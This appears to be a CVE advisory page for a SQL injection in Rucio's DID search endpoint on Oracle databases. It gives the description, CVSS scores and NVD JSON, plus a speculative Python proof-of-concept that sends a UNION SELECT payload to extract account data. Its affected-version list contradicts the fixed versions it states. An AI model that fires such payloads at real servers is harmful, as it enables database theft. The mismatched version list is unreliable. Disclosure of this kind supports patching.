CVE-2026-29080

Description

A SQL injection vulnerability in `FilterEngine.create_sqla_query()` allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (`GET /dids/<scope>/dids/search`). On Oracle deployments attacker-controlled filter keys and values are interpolated directly into `sqlalchemy.text()` via Python `.format()`, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. This affects versions 1.27.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1. The vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_sqla_query()` method. When the database dialect is Oracle, filter expressions for JSON metadata columns are constructed using `text()` with Python string formatting. Both `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The `text()` function creates a raw SQL fragment — it does **not** escape or parameterize its contents. Any authenticated Rucio user can exploit this through the DID search API to execute arbitrary SQL against the backend database. This can expose all managed data identifiers and sensitive tables such as identities, tokens, accounts, rse_settings, and rules, and may allow modification of database contents. The issue affects Oracle deployments using the default json_meta plugin and does not affect PostgreSQL or MySQL deployments using that plugin. This vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1.

CVSS Details

CVSS Score

8.8

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:* - VULNERABLE

Rucio >= 1.27.0, < 35.8.5

Rucio >= 35.8.5, < 38.5.5

Rucio >= 38.5.5, < 39.4.2

Rucio >= 39.4.2, < 40.1.1

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

#!/usr/bin/env python3
"""
PoC for CVE-2026-29080 (Rucio SQL Injection)
Target: Rucio instances running on Oracle DB.
Description: Exploits the lack of parameterization in FilterEngine.create_sqla_query().
"""

import requests

# Configuration
TARGET_HOST = "http://vulnerable-rucio-instance:8080"
SCOPE = "test"  # Valid scope is required
AUTH_TOKEN = "<VALID_RUCIO_AUTH_TOKEN>"  # Need authentication (PR:L)

# The vulnerability is in the DID search endpoint.
# The 'key' and 'value' parameters in the filter are interpolated via .format()
# into sqlalchemy.text().
# Payload attempts a simple boolean-based blind injection or UNION based.

# Example Payload: ' OR 1=1--  (This might alter the query logic)
# For Oracle, we might try: ' UNION SELECT NULL, username, password FROM accounts-- 

malicious_filter = {
    # The parameter names might vary based on implementation, 
    # typically passed as query params for filtering.
    # Assuming the endpoint parsesJSON or query params for 'key' and 'value'.
    "key": "test_key", 
    "value": "test_value' UNION SELECT NULL, account, email FROM accounts-- "
}

url = f"{TARGET_HOST}/dids/{SCOPE}/dids/search"
headers = {
    "X-Rucio-Auth-Token": AUTH_TOKEN,
    "Accept": "application/json"
}

try:
    print(f"Sending request to {url}...")
    response = requests.get(url, headers=headers, params=malicious_filter, timeout=10)
    
    if response.status_code == 200:
        print("[+] Request successful!")
        print("[+] Response body:")
        print(response.text)
    else:
        print(f"[-] Request failed with status code: {response.status_code}")
        print(response.text)

except requests.exceptions.RequestException as e:
    print(f"[-] An error occurred: {e}")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-29080
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-29080
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-29080/
[4] VulDB https://vuldb.com/cve/CVE-2026-29080
[5] https://github.com/rucio/rucio/security/advisories/GHSA-vjr5-c9qv-hgm3

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-29080", "sourceIdentifier": "[email protected]", "published": "2026-05-06T17:16:22.457", "lastModified": "2026-05-11T15:07:20.577", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A SQL injection vulnerability in `FilterEngine.create_sqla_query()` allows any authenticated Rucio user to execute arbitrary SQL against the backend database through the DID search endpoint (`GET /dids/<scope>/dids/search`). On Oracle deployments attacker-controlled filter keys and values are interpolated directly into `sqlalchemy.text()` via Python `.format()`, completely bypassing parameterization. This enables full database compromise including extraction of authentication tokens, password hashes, and all managed data identifiers. This affects versions 1.27.0 and later before 35.8.5, 38.5.5, 39.4.2, and 40.1.1.\n\nThe vulnerability exists in `lib/rucio/core/did_meta_plugins/filter_engine.py` within the `create_sqla_query()` method. When the database dialect is Oracle, filter expressions for JSON metadata columns are constructed using `text()` with Python string formatting. Both `key` and `value` are attacker-controlled strings derived from HTTP query parameters. The `text()` function creates a raw SQL fragment — it does **not** escape or parameterize its contents.\n\nAny authenticated Rucio user can exploit this through the DID search API to execute arbitrary SQL against the backend database. This can expose all managed data identifiers and sensitive tables such as identities, tokens, accounts, rse_settings, and rules, and may allow modification of database contents. The issue affects Oracle deployments using the default json_meta plugin and does not affect PostgreSQL or MySQL deployments using that plugin. \n\nThis vulnerability has been fixed in versions 35.8.5, 38.5.5, 39.4.2, and 40.1.1."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 9.4, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "HIGH", "subIntegrityImpact": "HIGH", "subAvailabilityImpact": "HIGH", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-89"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "1.27.0", "versionEndExcluding": "35.8.5", "matchCriteriaId": "B48ED4BE-0C47-4371-BC91-A51537341CB4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "36.0.0", "versionEndExcluding": "38.5.5", "matchCriteriaId": "9569D0A4-E71A-4808-85F3-F342B63564AB"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "39.0.0", "versionEndExcluding": "39.4.2", "matchCriteriaId": "500B49AA-C85E-4124-B66F-B1DE39D075BC"}, {"vulnerable": true, "criteria": "cpe:2.3:a:cern:rucio:*:*:*:*:*:*:*:*", "versionStartIncluding": "40.0.0", "versionEndExcluding": "40.1.1", "matchCriteriaId": "865FB585-4C3B-4D49-A332-CA76C9B3C763"}]}]}], "references": [{"url": "https://github.com/rucio/rucio/s ... (truncated)